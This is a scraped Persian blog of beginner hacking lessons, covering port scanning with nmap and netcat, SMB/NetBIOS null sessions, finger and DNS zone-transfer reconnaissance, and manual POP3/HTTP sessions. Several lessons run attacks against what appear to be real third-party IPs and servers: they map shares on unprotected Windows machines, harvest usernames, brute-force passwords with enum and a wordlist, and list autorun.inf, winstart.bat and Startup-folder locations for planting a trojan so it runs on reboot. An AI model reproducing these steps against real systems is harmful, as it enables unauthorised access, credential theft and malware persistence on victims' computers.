![]() |
![]() |
|
| نرم افزار |
|
Vulnerability Scanner چيست؟
|
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:39 قبل از ظهر به دست ابی |
|
|
Vulnerability چيست؟
A vulnerability was reported in ... برخورد کرده باشيد. اين بيان ميکنه که يه vul جديد کشف شده است. دقت کنيد که اين vul از وقتي نرمافزار طراحي شده با اون بوده ولي کسي از اون خبر نداشته تا وقتي که اين گزارش منتشر بشه! پس اين گروهها کارشون کشف باگ هستش نه اختراع باگ! http://cve.mitre.org/cgi-bin/cvename.cgi?name=xxxxxxxxxx http://cgi.nessus.org/cve.php3?cve=xxxxxxxxx که به جاي xxxxxxxxx بايد شماره CVE رو بنويسيد مثلا CVE-2000-0508 يا مثلا CAN-2002-0651 و... BID: 1806 از کجا بايد اونو خوند؟ (يعني لينک مستقيمش چي هست؟) همين پايين مهمترهاشو ميگم (دقت کنيد که همه اون اسمها معادل هم هستند فقط سايتهاي مختلف اسمهاي مختلفي را واسه يه vul انتخاب ميکنند و ما ميخواهيم تمام مطالب مرتبط با يه vul خاص رو از سايتهاي مختلف پيدا کنيم ) http://www.securityfocus.com/bid/xxxx که به جاي xxxx بايد يک عدد بنويسيد (همان عدد مربوز به BID ) مثلا به جاي xxxx بنويسيد: 1806 http://www.iss.net/security_center/search.php که وقتي در اين صفحه search کنيد، يک سري صفحات static بدست مياد که بايد بخونين. http://www.cert.org/advisories/xxxxxxxxx.html بهجاي xxxxxxxxx مثلا مينويسيم: CA-2002-19 http://www.kb.cert.org/vuls/id/xxxxxx ۵- و … |
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:38 قبل از ظهر به دست ابی |
|
|
Samba چيست؟
# nmap -sS -O 192.168.3.1-50 -p 139 و جواب ميشنوم: st 1 open and 1 closed TCP port Interesting ports on (192.168.3.2): Port State Service 139/tcp open netbios-ssn Remote OS guesses: Windows Millennium Edition (Me), Win 2000, بايد اينو بهتون بگم که من دارم اين کار رو روي Lan انجام ميدم و همه Ip ها Static هستند. ولي خب کار رو جوري در نظر ميگيرم که گويا نميدونم چه Host هاي اينجا وجود دارن :) 192.168.3.1 يک SuSE 8 هست که کار رو از طريقش انجام ميديم و 192.168.3.2 يک win2kpro sp2 هست که قربانيه و البته FireWall نداره :) من اينجا از آيپي هاي کلاس C استفاده ميکنم ممکنه وضع شما تو اينترنت فرق کنه، ولي خب نحوه کار تغيير نميکنه. حالا هدف رو پيدا کرديم، هدف ما 192.168.3.2 هست . # nmblookup –A 192.168.3.2 و جواب ميگيرم: Looking up status of 192.168.3.2
ARMINLAPTOP <00> - B < ACTIVE>
WORKGROUP <00> - < GROUP> B < ACTIVE>
ARMINLAPTOP <03> - B < ACTIVE>
ARMINLAPTOP <20> - B < ACTIVE>
WORKGROUP <1e> - < GROUP> B < ACTIVE>
ADMINISTRATOR <03> - B < ACTIVE>
WORKGROUP <1d> - B < ACTIVE>
..__MSBROWSE__. <01> - < GROUP> B < ACTIVE>همه چيز مشخصه نه ؟ اسم کامپيوتر ARMINLAPTOP , گروه کامپيوتر WORKGROUP و کاربر فعال Administrator هست :) # smbclient –Uadministrator –LARMINLAPTOP –I 192.168.3.2 نتيجه دستور به صورت زير است: added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]
Sharename Type Comment
--------- ---- -------
IPC$ IPC Remote IPC
D$ Disk Default share
ADMIN$ Disk Remote Admin
C$ Disk Default share
Armin Disk
Server Comment
--------- -------
ARMINDESKTOP Samba 2.2.3a
ARMINLAPTOP
Workgroup Master
--------- -------
WORKGROUP ARMINLAPTOPخب ميبينيد ؟ :) هر دو پارتيشن ARMINLAPTOP در اختيار شماست ! :) همچنين کامپيوتر هايي که باهاش در ارتباط هستند رو هم ميبينيم. در اين مثال ملاحظه ميفرماييد که Armin به عنوان Disk بهاشتراک گذاشته شده. خب قبل از اينکه بريم سراغ بقيه کار يک بار هم Anonymous رو امتحان ميکنيم ( يه چيزي مثل Null Session ): # smbclient -LARMINLAPTOP -I 192.168.3.2 و جواب: added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
Anonymous login successful
Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]
Sharename Type Comment
--------- ---- -------
Error returning browse list: NT_STATUS_ACCESS_DENIED
Server Comment
--------- -------
ARMINDESKTOP Samba 2.2.3a
ARMINLAPTOP
Workgroup Master
--------- -------
WORKGROUP ARMINLAPTOPخب باز هم يه اطلاعاتي پيدا ميکنيم ! :) با اينکه فايلهاي Share شده رو نميبينيم، به هر صورت از هيچي بهتره ! شايد يه جاي ديگه به درد بخوره ! # smbclient //ARMINLAPTOP/Armin -I 192.168.3.2 و جواب ميشنوم: added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0 Password: session setup failed: NT_STATUS_LOGON_FAILURE خب ! :) Share توسط Password محافظت ميشه ! :) کار زيادي نميتونيم انجام بديم. مثلا ميتونيم همين Null پسورد رو امتحان کنم، ولي خب اگر با Win9x طرف باشيم کاري نميشه کرد . حالا رو ويندوز 2000 به بالا کار ميکنيم. روي اينکه کاربر ناشي باشه و پسورد Administrator رو خالي گذاشته باشه خيلي حساب کرديم : # smbclient //ARMINLAPTOP/Armin -I 192.168.3.2 -Uadministrator و جواب ميشنوم: added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0 Password: Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] smb: > اين smb: > ls و جواب ميشنوم: . DA 0 Sat Feb 8 05:34:11 2003
.. DA 0 Sat Feb 8 05:34:11 2003
Blcorp D 0 Sat Feb 8 03:05:51 2003
47943 blocks of size 65536. 8261 blocks availableو ادامه ميدم به صورت زير: smb: > cd Blcorp
smb: Blcorp> ls
. D 0 Sat Feb 8 03:05:51 2003
.. D 0 Sat Feb 8 03:05:51 2003
WLTrial.exe A 2321412 Mon Apr 29 14:18:58 2002
47943 blocks of size 65536. 8261 blocks available
smb: Blcorp> get WLTrial.exe
getting file WLTrial.exe of size 2321412 as WLTrial.exe (892.2 kb/s) ...
smb: Blcorp>شما ميتونيد از دستور Pull براي فرستادن فايل و get براي گرفتن فايل استفاده کنيد :) فايلها گرفته شده در دايرکتوري فعلي شما ذخيره ميشوند . قسمت اميدوار کننده کار اينه که خيلي از مردم از ويندوز استفاده ميکنن و اکثرشون حتي نميدونن که همه فايل سيستم هاشون بدون پسورد به راحتي قابل دسترسه. خب ما هم اينهارو ياد نميگيريم که دور دنيا بچرخيم و فايلهاي مردم رو پاک کنيم ! C:>nbtstat -A 192.168.3.1
Local Area Connection 2:
Node IpAddress: [192.168.3.2] Scope Id: []
Host not found
- يک نفوذ بدون مشکل جدي چقدر طول ميکشه ؟ |
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:37 قبل از ظهر به دست ابی |
|
|
NetBIOS چيست؟
Interesting ports on HOME-TU6U0AV86Y (217.218.84.29): Port State Service 139/tcp open netbios-ssn Remote operating system guess: Windows Millenn... (Me), Win 2000, or WinXP اين خروجي اعلام ميکند که پورت ۱۳۹ باز است. پس ميشود از اين ip استفاده کرد. nbtstat -A 217.218.84.29 دستور nbtstat يک ابزار خاص براي کار با NetBIOS است. دقت کنيد که از پارامتر A- با ip مربوطه استفاده کردم. (دستور nbtstat داراي پارامترهاي بسياري است که اگه ميخواين همه رو ببينين، بنويسين nbtstat و enter را بزنيد.) NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
HOME-TU6U0AV86Y<00> UNIQUE Registered
MSHOME <00> GROUP Registered
HOME-TU6U0AV86Y<20> UNIQUE Registered
MSHOME <1E> GROUP Registered
MAC Address = 00-53-45-00-00-00
net view 217.218.84.29 حالا اگه گفتين چي ميشه؟ درسته! دو حالت ممکنه اتفاق بيوفته: System error 5 has occurred. Access is denied. اين يعني نميتونين ادامه بدين. به عبارت ديگه ايست! ولي يه کاري ميتونيد بکنيد و اون اينه که يه null session برقرار کنيد با اون کامپيوتر. اين حالت در مورد ويندوزهاي سري NT جواب ميده. مينويسيد: net use 217.218.84.29IPC$ "" /user:"" حالا چرا ميگن null session ؟ دليلش اينه که يک ارتباط برقرار کردم با اون ip بدون username و بدون password . حالا اگه اين دستور جواب داد ميتونم دوباره دستور net view 217.218.84.29 را تکرار کنم. Shared resources at 217.218.84.29 Share name Type Used as Comment ------------------------------------------------ Printer Print Acrobat PDFWriter Printer2 Print Acrobat Distiller SharedDocs Disk The command completed successfully. عاليه. دقت کنيد که در اين کامپيوتر يک فايل (Disk) به اسم ShareDocs به اشتراک گذاشته شده (دو تاي باقي براي پرينتر است). حالا که رسيدم به اين اسم ديگه آخرين دستور را مينويسم. net use L: 217.218.84.29SharedDocs به اسم درايو، ip و نام مربوطه که ShareDocs دقت کنيد. چون من اصطلاحا به صورت null session دارم ارتباط ميگيرم، ممکنه کار نکنه ولي اگه درست کار کنه جواب ميشنوم: The command completed successfully. معرکه است!!! حالا My Computer رو باز کنيد و ببينيد که درايو جديد به ليست درايوها اضافه شده که ميتونين مثل درايوهاي معمولي با اون کار کنيد و فايل کپي کنيد و ... net use /delete L: استفاده کنيد.
d: ewfolderali.exe در اين حالت به محض اولين restart کامپيوتر، تروجان اجرا خواهد شد. [autorun] open=d: ewfolderali.exe ۳- اگه به فولدر ويندوز دسترسي داريد، ميتونيد يک سطر مثل همان مثال قبل ولي براي فايل winstart.bat اجرا کنيد. در اين حالت هم به محض restart اجرا خواهد شد. run=d: ewfolderali.exe ۵- اگه به فولدر ويندوز دسترسي داريد، ميتونيد تروجان رو به فولدر Start MenuStartup اضافه کنيد. در اين حالت نيازي به ويرايش هيچ فايل ديگري نيست. enum -S 217.218.84.29 و جواب شنيدم: server: 217.218.84.29 setting up session... success. enumerating shares (pass 1)... got 10 shares, 0 left: E$ IPC$ D$ print$ SharedDocs F$ Printer2 ADMIN$ C$ Printer cleaning up... success. ملاحظه ميفرماييد که درايوهاي E و D و F و C و نيز SharedDocs و ... ليست شده است. بقيه مراحل مثل درس ۲۱ است. (دقت کنيد که در اين حالت نيازي به null session نيست ). nbtscan -v -s : 195.219.49.0-30 که ليست اشتراکها رو از ip شماره 195.219.49.0 تا 195.219.49.30 بدست مياره. جواب ميشنوم: 195.219.49.1 Recvfrom failed: Connection reset by peer 195.219.49.5 Recvfrom failed: Connection reset by peer 195.219.49.6 Recvfrom failed: Connection reset by peer 195.219.49.7 Recvfrom failed: Connection reset by peer 195.219.49.8 Recvfrom failed: Connection reset by peer 195.219.49.12 Recvfrom failed: Connection reset by peer 195.219.49.23:MRS.ZADE :00U 195.219.49.23:ATINET_MRA :00G 195.219.49.23:MRS.ZADE :03U 195.219.49.23:MAC:44-45-53-54-00-00 195.219.49.28:MAC:44-45-53-54-00-00 195.219.49.26:KIYARASH-R96L0K:00U 195.219.49.26:KIYARASH-R96L0K:20U 195.219.49.26:WORKGROUP :00G 195.219.49.26:WORKGROUP :1eG 195.219.49.26:MAC:00-53-45-00-00-00 195.219.49.22:FARHANG-ZCT780D:00U 195.219.49.22:FARHANG-ZCT780D:20U 195.219.49.22:WORKGROUP :00G 195.219.49.22:WORKGROUP :1eG 195.219.49.22:MAC:00-53-45-00-00-00 195.219.49.29:TESSA :00U 195.219.49.29:WORKGROUP :00G 195.219.49.29:TESSA :03U 195.219.49.29:MAC:44-45-53-54-00-00 195.219.49.25:MAC:44-45-53-54-00-00 در مورد ip هايي که 20U را ميبينيد، يعني sharing رو ميشه استفاده کرد. winfo 195.219.49.184 -n -v و به نتايج زير رسيدم: Winfo 2.0 - copyright (c) 1999-2003, Arne Vidstrom
- http://www.ntsecurity.nu/toolbox/winfo/
Trying to establish null session...
Null session established.
SYSTEM INFORMATION:
- OS version: 4.0
DOMAIN INFORMATION:
- Primary domain (legacy): DSG
- Account domain: TEHRAN
Warning: Unable to retrieve domain DNS information.
Reason : Not supported by the remote OS.
PASSWORD POLICY:
- Time between end of logon time and forced logoff: No forced logoff
- Maximum password age: 42 days
- Minimum password age: 0 days
- Password history length: 0 passwords
- Minimum password length: 0 characters
LOCOUT POLICY:
- Lockout duration: 30 minutes
- Reset lockout counter after 30 minutes
- Lockout threshold: 0
SESSIONS:
- Computer: ARTAWILL-V0P1QR
- User:
LOGGED IN USERS:
* Administrator
USER ACCOUNTS:
* Administrator
- Password age: 666 days
- Privilege level: Administrator
- Home directory:
- Home directory mapped as:
- Comment: Built-in account for administering the computer/domain
- Account is: Enabled
- User can change password: Yes
- Account is locked out: No
- Password never expires: Yes
- The account is: Normal user
- Logon script path:
- Full name:
- User comment:
- Can log in from workstations: All
- Last logon to this DC / computer: Mon Mar 03 23:10:23 2003
- Last logoff from this DC / computer: Tue Dec 11 23:57:37 2001
- Account expires: Never
- Max disk space: Unlimited
- Failed logins in a row to this DC / computer: 0
- Path to user profile:
- Password has expired: No
(This account is the built-in administrator account)
* Guest
- Password age: 680 days
- Privilege level: Guest
- Home directory:
- Home directory mapped as:
- Comment: Built-in account for guest access to the computer/domain
- Account is: Disabled
- User can change password: No
- Account is locked out: No
- Password never expires: Yes
- The account is: Normal user
- Logon script path:
- Full name:
- User comment:
- Can log in from workstations: All
- Last logon to this DC / computer: None
- Last logon to this DC / computer: None
- Account expires: Never
- Max disk space: Unlimited
- Failed logins in a row to this DC / computer: 0
- Path to user profile:
- Password has expired: No
(This account is the built-in guest account)
* TEST
- Password age: 680 days
- Privilege level: User
- Home directory:
- Home directory mapped as:
- Comment:
- Account is: Enabled
- User can change password: Yes
- Account is locked out: No
- Password never expires: No
- The account is: Normal user
- Logon script path:
- Full name:
- User comment:
- Can log in from workstations: All
- Last logon to this DC / computer: None
- Last logon to this DC / computer: None
- Account expires: Never
- Max disk space: Unlimited
- Failed logins in a row to this DC / computer: 0
- Path to user profile:
- Password has expired: Yes
WORKSTATION TRUST ACCOUNTS:
INTERDOMAIN TRUST ACCOUNTS:
SERVER TRUST ACCOUNTS:
SHARES:
* ADMIN$
- Type: Special share reserved for IPC or administrative share
- Remark: Remote Admin
* IPC$
- Type: Unknown
- Remark: Remote IPC
* C$
- Type: Special share reserved for IPC or administrative share
- Remark: Default shareبعدا سعي خواهم کرد که در مورد تک تک اينها بحث کنم براتون. ولي به عنوان مثال در آخرها ميتونين، share ها رو ببينيد. enum -P xxx.xxx.xxx.xxx و جواب ميشنوم: server: xxx.xxx.xxx.xxx setting up session... success. password policy: min length: none min age: none max age: 42 days lockout threshold: none lockout duration: 30 mins lockout reset: 30 mins cleaning up... success. خودتون که دارين ميبينين! enum -D -f "theargon.lst" -u "Ali" xxx.xxx.xxx.xxx حالا enum مياد و تمام پسوردها رو تست ميکنه تا ايشالله به جواب برسه! |
||||||||||||
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:37 قبل از ظهر به دست ابی |
|
||||||||||||
|
پورت ۱۱۰ چيست؟
telnet mail.noavar.com 110 nc -v mail.noavar.com 110 و جواب ميشنوم: +OK POP3 server www.noavar.com ready دقت کنيد که اگه از تلنت استفاده کنيد،چيزهايي که شما تايپ ميکنيد، ديده نميشود و نميتونيد از دکمه Backspace استفاده کنيد. حالا ميخوام بگم که اسم اکانت من araztest است، پس مينويسم: user araztest و جواب ميشنوم: +OK Please enter password for araztest حالا ميخوام پسوردم رو بگم که اجازه صادر بشه! مينويسم: pass mypass و جواب ميشنوم: +OK password for user araztest Accepted حالا ميخوام بدونم که جمعا چندتا mail رسيده است و حجم کل چقدر است. مينويسم: stat و جواب ميشنوم: +OK 2 25924 يعني براي من ۲ تا پيغام رسيده و حجم کل پيامهاي رسيده، ۲۵۹۲۴ بايت است. حالا ميخوام ليست پيامها رو داشته باشم، مينويسم: list و جواب ميشنوم: +OK 1 70 2 24923 . اين يعني پيغام شماره يک (پيغام جديدتر) حجم ۷۰ بايت دارد و پيغام شماره دو حجم ۲۴۹۲۳ بايت دارد. حالا ميخوام پيغام شماره ۱ را بخونم. مينويسم: retr 1 و جواب ميشنوم: +OK 70 octets Message-ID: <875808060@www.noavar.com> From: "ali" حالا ميخواهم اين پيغام ( شماره يک ) رو پاک کنم، مينويسم: dele 1 و جواب ميشنوم: +OK Message 1 Marked for removal [ دقت کنيد که اين پيغام هنوز پاک نشده است و فقط علامت خورده که موقع خروج، پاک بشه. حالا ممکنه چندتا پيغام را مارک کنيد که حذف بشه ولي بعد بيخيال! ميشين. براي اينکه اين علامتها را حذف کنيد که موقع خروج ديگه پاک نشوند، ميتونيد بنويسيد: rset و جواب ميشنوم: +OK 1 70 ] quit و جواب ميشنوم: +OK www.noavar.com signing off |
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:35 قبل از ظهر به دست ابی |
|
|
پورت ۸۰ چيست؟
telnet www.hotmail.com 80 پس اول بايد يکی از دستورات بالا را استفاده کنيم. من هميشه توصيهام استفاده از nc بوده و خواهد بود. HTTP/1.0 302 Moved Temporarily
nc -v www.far30.com 80 < ali.txt که همان کارهای بالايی را انجام ميده. GET /startup/index.html HTTP/1.0 بعد دو تا Enter ميزنيم. nc -v www.site.com 80 > index.html (اين کاري که کرديم با موردي که در بالا نوشتيم فرق ميکنه! در بالا دستورات GET رو تو يه فايل مينوشتيم و ميفرستاديم که اجرا بشه ولي الان داريم نتايجي که بر ميگرده رو در يک فايل ذخيره ميکنيم!) ميشه اين دوتا رو ترکيب کرد مثلا نوشت: nc -v www.site.com 80 < dastoorat.txt > index.html |
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:34 قبل از ظهر به دست ابی |
|
|
پورت ۷۹ چيست؟
telnet router2.iums.ac.ir 79 nc -v router2.iums.ac.ir 79 finger .@router2.iums.ac.ir دقت کنيد که در دو دستور اول شماره پورت مشخص شده ولي دستور آخري نه، چون دستور finger فقط براي همينکار استفاده ميشه و نميتوان باهاش با پورت ديگهای ارتباط برقرار کرد. ضمنا به ساختار دستور آخر توجه کنيد. بعد از اجرای دستور، جواب ميشنوم: Line User Host(s) Idle Location 33 tty 33 whgh Async interface 0 34 tty 34 najahan Async interface 0 35 tty 35 sadf Async interface 0 36 tty 36 abokho Async interface 0 38 tty 38 whgh Async interface 0 39 tty 39 bzamani Async interface 0 40 tty 40 saeedmah Async interface 0 41 tty 41 mfaizi Async interface 0 42 tty 42 gourabi Async interface 0 43 tty 43 farhadz Async interface 0 44 tty 44 arbks Async interface 0 45 tty 45 mhalavi Async interface 0 46 tty 46 farhood Async interface 0 47 tty 47 staavoni Async interface 0 48 tty 48 whgh Async interface 0 * 66 vty 0 idle 0 217.218.84.58 Interface User Mode Idle Peer Address نکته مهم اين است که اطلاعاتي که به کمک پورت ۷۹ به دست ميآد، خيلي بستگي به سروري داره که اين اطلاعات رو ميفرسته. بعضي از سيستمها علاوه بر نام افراد (username) که در اين مثال ديده ميشه، نام و نام خانوادگي افراد، ساعت و محل login کردن و ... را نمايش ميدهند. اما چيزي که هميشه وجود دارد و مشترک است، username هاست که از نقطه نظر يک هکر بسيار ارزشمند است. در اين مثال ما اکانتهايي به اسم najahan ،whgh و ... در اين سرور وجود دارد و افراد مربوطه در حال حاضر login کردهاند. اگر اکانتي موجود باشد ولي فرد مورد نظر در حال حاضر از آن اکانت وارد نشده باشد، نمايش داده نميشود. اين ليست فقط براي اکانتهای فعال است. پس نتايجي که شما در ارتباط با اين سرور کسب ميکنيد، با نتايجي که من نوشتم متفاوت خواهد بود. |
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:33 قبل از ظهر به دست ابی |
|
|
شروع کار با پورتها
telnet 194.225.184.13 25 و بعد اينکه ارتباط برقرار شد بايد شروع کنيم و از طريق زبان پورت ۲۵ با آن صحبت کنيم. nc -v 194.225.184.13 25 و بعد از برقراری ارتباط شروع به صحبت کنيم. telnet 194.225.184.13 13 البته در آن دستورات به جای عدد ۱۳ میتوان معادلش را نوشت که daytime است. 11:35:33 AM 10/5/2002 بله، با اين پورت ارتباط برقرار کرديم و اطلاعاتش رو دريافت کرديم. اين اطلاعات معمولا به درد اين میخورد که مکان جغرافيايی اون کامپيوتر را حدس بزنيم (البته اگر زمان اون کامپيوتر صحيح باشد). به عنوان مثال اين کامپيوتر خاص در ايران است چون ساعتش همزمان با ايران است. telnet 194.225.184.13 7 بعد از برقراری ارتباط، هر چی من بنويسم، اون برام پس میفرسته. مثلا اگه تايپ کنم Ali1000 و Enter بزنيم، جواب میشنوم، Ali1000 ... خودتون امتحان کنيد تا ببينيد. برای تمام شدن کار بايد دکمه Ctrl+C را فشار دهيم تا اين ميمون بازی تموم بشه. |
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:32 قبل از ظهر به دست ابی |
|
|
شروع کار با نرمافزار netcat
nc -help و جواب میشنويم: [v1.10 NT] تا همينجا بماند تا بعدا تک تک پارامترها رو توضيح میدم. nc -v -z host pornum بهجای host بايد ip ) ip ها) يا نام آن (مثلا اسم سايت) را بنويسيم. و بهجای portnum ، شماره پورت (يا پورتها) را مینويسيم. v- يعنی verbose يعنی نتايج با جزئيات نمايش داده شود. z- وقتی استفاده میشود که از nc برای scanning استفاده میکنيم. nc -v -z 217.66.195.181 1-200 و جواب میشنوم: artawill-1dedm4 [217.66.195.181] 143 (imap) open میبينيد که پورتها از آخر به اول ليست شدهاند. و نيز اينکه اين نرمافزار هم میتواند سرويسهای احتمالی مربوط به هر پورت باز را هم ليست کند. nc -v -z 217.66.195.181 25 80 110 در درسهای بعدی با کاربردهای بيشتری از nc آشنا خواهيم شد. |
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:31 قبل از ظهر به دست ابی |
|
|
Social Engineering چيست؟ - Social Engineering چيست؟ |
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:30 قبل از ظهر به دست ابی |
|
|
ping چيست ؟
ping ip-or-domain که به جای ip-or-domain بايد شماره ip و يا domain آن(اگر داشته باشد) را میگذاريم. Pinging sazin.com [63.148.227.65] with 32 bytes of data: اين نتايج نشان میدهد که sazin.com فعال است. Pinging 63.148.227.65 with 32 bytes of data: فرض کنيد که به يک ip که فعال نيست، ping کنيم: Pinging 217.66.196.1 with 32 bytes of data: که نشان میدهد که آن ip در آن لحظه فعال نيست. tracert ip-or-domain مثلا میخواهم ببينم که از چه کامپيوترهايی بايد رد شويم تا به sazin.com برسيم. برای اينکار میتوان از يکی از دستورهای زير استفاده کرد: tracert sazin.com به نتيجه زير رسيدم: Tracing route to sazin.com [63.148.227.65] اين نتايج نشان میدهد که بايد از ۲۲ کامپيوتر بگذرم تا به sazin.com برسم. اين اطلاعات همانطور که بعدا خواهيد ديد، حاوی اطلاعات زيادی برای پيدا کردن فايروالها و ... است. (بعضی سطرها رو کوتاه کردم و بهجاش .... گذاشتم) iums.ac.ir. SOA sina.i........0 345600) تک تک سطرهای اين نتايج کاربرد دارد که خواهيم رسيد. الان فقط در مورد HIFNO صحبت میکنم که برای مشخص تر بودن در بالا به صورت کمی فرورفتهتر نوشتم. مثلا: sina.iums.ac.ir. HINFO Sun-SuperSPARC5/75 UNIX-Solaris-2.6 HIFNO برای تعيين نوع کامپيوتر و سيستمعامل سرور اهميت دارد. در اين سطر مشخص است که sina.iums.ac.ir از Sun-SuperSPARC5/75 UNIX-Solaris-2.6 استفاده میکند. |
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:29 قبل از ظهر به دست ابی |
|
|
IP Scanning
ping xxx.xxx.xxx.xxx مثلا برای 63.148.227.65 مینويسيم: ping 63.148.227.65 اگر در ويندوز اين دستور را تايپ کنيد و به جواب زير برسيد، يعنی آن ip فعال است: Reply from 63.148.227.65: bytes=32 time=1402ms TTL=105 و اگه به پيغام زير رسيديد، يعنی فعال نيست: Request timed out. همان طور که میبينيد با اين دستور در يک لحظه فقط میشود، يک ip را تست کرد و اين کار ما را کند میکند. در قسمت From و To مشخص میکنيم که از کدام ip تا کدام ip را میخواهيم ping کنيم. با فشار دکمه Ping ليست ip هايی که up هستند، نمايش داده میشود. فرض کنيد که ip فعلی شما 195.219.176.88 باشد و بخواهيم بدانيم در کلاس C مربوط به ما چه ip های ديگری up هستند. در اين حالت بايد 195.219.176.1 تا 195.219.176.254 را ping کنيم. Host (195.219.176.0) seems to be a subnet broadcast address ... ملاحظه میفرماييد که در بعضی موارد اسم کامپيوتر مربوط به ip هم ذکر شده است. |
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:28 قبل از ظهر به دست ابی |
|
|
معرفی nmap و NMapWin
- معرفی nmap و NMapWin - بررسی ظاهر برنامه Starting nmap V. 3.00 ( www.insecure.org/nmap ) در همينجا سه نوع اطلاعات قابل دسترسی است:
CMD: -sS -PT -PI -p 1-200 -O -T 3 63.148.227.65 با حذف کلمه :CMD به عبارت زير میرسيم: -sS -PT -PI -p 1-200 -O -T 3 63.148.227.65 اينها پارامترهايی است که بايد در nmap استفاده کنيد. به اين صورت که مینويسيد: nmap -sS -PT -PI -p 1-200 -O -T 3 63.148.227.65 و بعد از اجرای دستور و صبر کردن برای چند دقيقه، نتايج را میبينيم. -sP -PI -T 3 195.219.176.0-10 پس ما مینويسيم: nmap -sP -PI -T 3 195.219.176.0-10 |
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:26 قبل از ظهر به دست ابی |
|
|
چگونه يک ارتباط TCP برقرار میشود که بگوييم فلان پورت باز است يا نه؟
- چگونه يک ارتباط TCP برقرار میشود که بگوييم فلان پورت باز است يا نه؟ ipEye 1.2 - (c) 2000-2001, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
ipeye 63.148.227.65 -syn -p 1 200 دقت کنيد که 63.148.227.65 عدد ip سازين، syn- يعنی SYN SCAN و p 1 200- يعنی تست از پورت ۱ تا ۲۰۰ باشد. البته پارامترهای ديگری را هم میشود ست کرد که فعلا به درد ما نمیخورد. با اجرای اين دستور به نتايج زير میرسيم: ipEye 1.2 - (c) 2000-2001, Arne Vidstrom (arne.vidstrom@ntsecurity.nu) Closed يعنی کامپيوتر در آن طرف هست ولی به پورت گوش نمیدهد، Reject يعنی اينکه يک firewall هست که اجازه اتصال به آن پورت را نمیدهد، Drop يعنی اينکه يک firewall همهچيز را پس میزند و يا اصلا کامپيوتری اونور نيست، Open هم که يعنی باز. netstat -an فرق اين دو دستور در اين است که اولی پورتها را به صورت عددی و دومی به صورت معادل اسمی آن پورت مینويسد. مثلا معادل اسمی پورت 7 ، echo است. Active Connections من دستور را موقعی اجرا کردم که به اينترنت متصل نبودم. اگر همين کار را در زمان اتصال به اينترنت انجام میدادم، يک سری سطرهای جديد هم اضافه میشد که مربوط به آن اتصال میشد. و نيز دقت کنيد که من سويچ an- را استفاده کردم و پورتها به صورت عددی نمايش داده شده است که همين الان - الساعه - براتون توضيح میدم: Proto Local Address Foreign Address State - Proto : يعنی پروتکل، که میتواند TCP يا UDP باشد. |
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:25 قبل از ظهر به دست ابی |
|
|
انواع Scanning انواع Scanning |
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:24 قبل از ظهر به دست ابی |
|
|
TCP و UDP چيست؟
- TCP و UDP چيست؟ Ports TCP/UDP Service or Application
telnet hostname portnum در اين دستور بهجای hostname شماره ip و يا نام سايت را وارد میکنيد و بهجای portnum شماره پورت و يا معادل آن از جدول. مثلا برای تلنت کردن به پورت ۱۳ که ساعت و تاريخ را بهدست میدهد در کامپيوتری به اسم www.iums.ac.ir مينويسيد: telnet iums.ac.ir 13 هر دو اين دستورات معادل هم هستند. |
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:23 قبل از ظهر به دست ابی |
|
|
Whois چيست؟
تعريف کلی برای whois نمیتوان ارائه داد ولی فعلا منظور ما از Whois همان کسب اطلاعات در مورد يک سايت است. (قبلا با نوع خاصی از whois برای تبديل domain به ip آشنا شدهايد). whois.internic.net (The InterNIC) اولين سايت مشهورترين سايت ثبت domain برای org , net , com است. http://www.samspade.org/t/whois?a=xxxxxxxxx که بجای xxxxxxxxx آدرس سايت و يا ip آنرا مینويسيم و آدرس حاصله را در مرورگر خود میبينيم. مثلا اگر بخواهم در مورد سايت sazin.com اطلاعاتی بهدست بياورم، مینويسم: http://www.samspade.org/t/whois?a=sazin.com و اطلاعات زير به دست میآيد: sazin.com is registered with BULKREGISTER.COM, INC. - redirecting ملاحظه میکنيد که اطلاعات زيادی در مورد اين سايت را به اين طريق میتوان بهدست آورد. اطلاعاتی درمورد آدرس ISP ، شخصی که بهعنوان Admin کار ثبت را انجام داده است و ... البته باز هم نمیتوان در مورد صحت و سقم آن اظهارنظر قطعی داشت. s1.sazin.com حالا ديگر آدرس DNS Server مربوط به far30.com را دارم و میتوانم شروع کنم: C:>nslookup و نتايج را میبينم: *** Can"t find server name for address 192.168.20.3: Non-exi... علامت > يعنی شما میتوانيد دستورات را تايپ کنيد. > server dns_server که به جای dns_server بايد آدرس DNS Server سايت موردنظر را بنويسم. پس برای سايت far30.com میشود: > server s1.sazin.com و جواب میشنوم: Default Server: s1.sazin.com اگر در اين مرحله پيغام خطا میگيريد، بايد دوباره اين دستور را تايپ کنيد و نيز میتوانيد از DNS Server دومی که در whois برای far30.com بهدست آورديم ، استفاده کنيم. > set type=any
> ls -d site_name . که برای far30.com میشود: >ls -d far30.com. دقت کنيد که بعد از اسم سايت يک نقطه (dot) گذاشتهام، شما هم بهتر است اينطوری بنويسيد. [s1.sazin.com] بعدا در مورد کاربرد تکتک اينها صحبت خواهم کرد ولی بعضی از آنها همينطوری هم اطلاعات واضحی دارند. |
|
+ نوشته شده در
جمعه سوم مهر 1388ساعت 3:22 قبل از ظهر به دست ابی |
|
|
IP
